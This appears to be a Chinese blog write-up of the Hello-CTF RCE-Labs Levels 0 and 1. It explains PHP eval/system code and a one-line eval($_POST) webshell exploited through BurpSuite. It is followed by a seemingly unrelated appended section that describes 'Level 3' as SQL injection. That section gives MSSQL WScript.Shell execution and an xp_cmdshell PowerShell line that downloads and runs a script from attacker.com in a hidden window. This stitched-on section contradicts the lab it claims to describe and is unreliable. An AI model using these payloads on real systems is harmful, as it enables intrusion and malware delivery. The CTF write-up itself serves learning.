[Hello-CTF]RCE-Labs超详细WP-Level 0&1

Level 0

  • 这关 Flag 怎么获取就不多说了, 开头显示的两个就是
  • 接下来对靶场的源码解释一下
    • 前面输出的两句包含 Flag 的先跳过, 后面再说怎么来的
  • <?php 后开始看
    • 首先是 探姬 写的注释, 也是提示, 请务必自己仔细阅读(后面就不对此强调了)
      • 当于是一步步引导如何完成这些关卡
      • 理论上就应该看着些提示, 然后自己去学习相关内容, 就有能力完成题目~~(而不是来看别人写的WP)~~
    • 然后就定义了 $code, $bash 两个变量, 然后就通过 eval() 执行 $code 变量的内容, 然后通过 system 执行 $bash 的内容
    • 先来看 $codeeval() 这两个语句
      • $code 是一个字符串变量
        • 其中包含着两个语句
        • 一个是 include(flag.php);, 将 flag.php 的文件内容包含到本文件内容中, 并执行
          • 但是这里并不能看出 flag.php 内容是什么
          • 大概是定义了 $flag 这个变量
        • 另一个语句就是 echo 'This will get the flag by eval PHP code: '.\$flag;
          • 首先是 echo , 这个语法的作用是把后面的字符输出到前端页面
          • echo 后跟着是 'This will get the flag by eval PHP code: '.\$flag; 字符串
            • 把他们进行拆分一下
              • 'This will get the flag by eval PHP code: '
                • 这个是个常规的字符串
              • .
                • 这个是 PHP 中的字符串连接符, 将字符串与其他变量进行连接
                • 并自动进行转换
              • \$flag
                • 这里的 \$flag 变量进行转义, 使 $flag 变量在这里是 $flag
                • 而非这个变量的值
      • 接着 $code 变量会被传递给 eval() 执行
        • eval() 会执行如下两个指令

          include('flag.php');
          echo 'This will get the flag by eval PHP code: '.$flag;
          
        • 这里注意的是, 虽然 $code 变量中 \$flag 被转义了, 成为了 $flag
          • 但是在 eval() 中, $flag 就是 $flag, 咩有被转义, 所以 echo 输出的是 $flag 的值
    • 接着来看 $bashsystem() 这两个语句
      • eval() 不同的是 system() 执行的是系统命令行的 Bash 指令, 而非 PHP 语句
      • 所以 $bash 变量中, 先用 echo 输出提示, 然后再使用 cat /flag 获取根目录下flag文件中的内容
        • 或许这里会有疑问
          • echo 不是 PHP 的语法吗, system 执行的不是 Bash 命令吗, 为什么这里可以用
            • 其实只是刚好同名罢了, echo 在 PHP 和 Bash 中都存在
    • 最后在通过 highlight_file(__FILE__);
      • 使 index.php 的代码高光显示, 并自然而然地衔接在上文输出之后
  • 或许看完这么多, 会对后续的 PHP 代码理解有所帮助吧

Leve 1

  • 这关的代码很简单, 每关都有的 include ("get_flag.php");highlight_file(__FILE__); 就不再介绍
  • 接下来就是 eval($_POST['a']);, 而这一代码就是典型的一句话木马
    • 即将 POST 请求的 a 的值传入给 eval() 执行
  • 解题步骤
    • 打开 BurpSuite 抓到靶场网页的请求
    • 对着报文 -> 右键 -> 修改请求方法(改为 POST 请求)
      • 然后再末尾添加参数(eval执行的命令就是参考第一关的)

        a=echo $flag;
        
    • 发送请求即可获得 flag
      -在这里插入图片描述
### RCE-Labs Level 3 概述 RCE-Labs 是一系列针对 SQL 注入漏洞利用的教学平台,旨在帮助安全研究人员理解和掌握如何通过SQL注入实现远程代码执行 (Remote Code Execution, RCE)[^1]。Level 3 特别关注于绕过某些防护机制并最终获得服务器控制权。 ### 技术细节与挑战 在这一级别中,目标应用程序启用了 `Ole Automation Procedures` 功能: ```sql EXEC sp_configure &#39;Ole Automation Procedures&#39;,1; RECONFIGURE; ``` 这允许攻击者创建 COM 对象来调用外部程序或脚本引擎,从而可能引发任意命令执行的风险。然而,在实际环境中此功能通常被禁用以增强安全性。 ### 利用方法分析 为了成功完成该级别的挑战,可以考虑以下技术路径之一: #### 方法一:使用 WScript.Shell 执行系统指令 当 `Ole Automation Procedures` 被启用时,可以通过如下方式实例化 Windows Script Host 的 Shell 对象,并运行 calc.exe 来验证是否能够触发计算器应用作为测试案例: ```sql DECLARE @o int; EXEC sp_OACreate &#39;WScript.Shell&#39;,@o OUT; EXEC sp_OAMethod @o,&#39;Run&#39;,NULL,&#39;calc.exe&#39;; ``` 这种方法展示了基本原理,但在真实场景下还需要进一步处理返回数据以及隐藏进程启动等问题。 #### 方法二:借助 PowerShell 提升权限 另一种更隐蔽且强大的手段是利用PowerShell来进行更为复杂的操作,比如下载恶意软件到本地磁盘然后加载执行等动作。不过需要注意的是这种方式可能会受到更多监控工具的关注而容易暴露行为特征。 ```sql DECLARE @cmd nvarchar(4000); SET @cmd=&#39;powershell -nop -w hidden -c &quot;IEX(New-Object Net.WebClient).DownloadString(&#39;&#39;http://attacker.com/malicious.ps1&#39;&#39;)&quot;&#39;; EXEC xp_cmdshell @cmd; ``` 上述两种途径均需谨慎对待,仅限合法授权下的渗透测试活动中采用;任何非法入侵他人计算机信息系统的行为都是违法的!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Haicaji

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值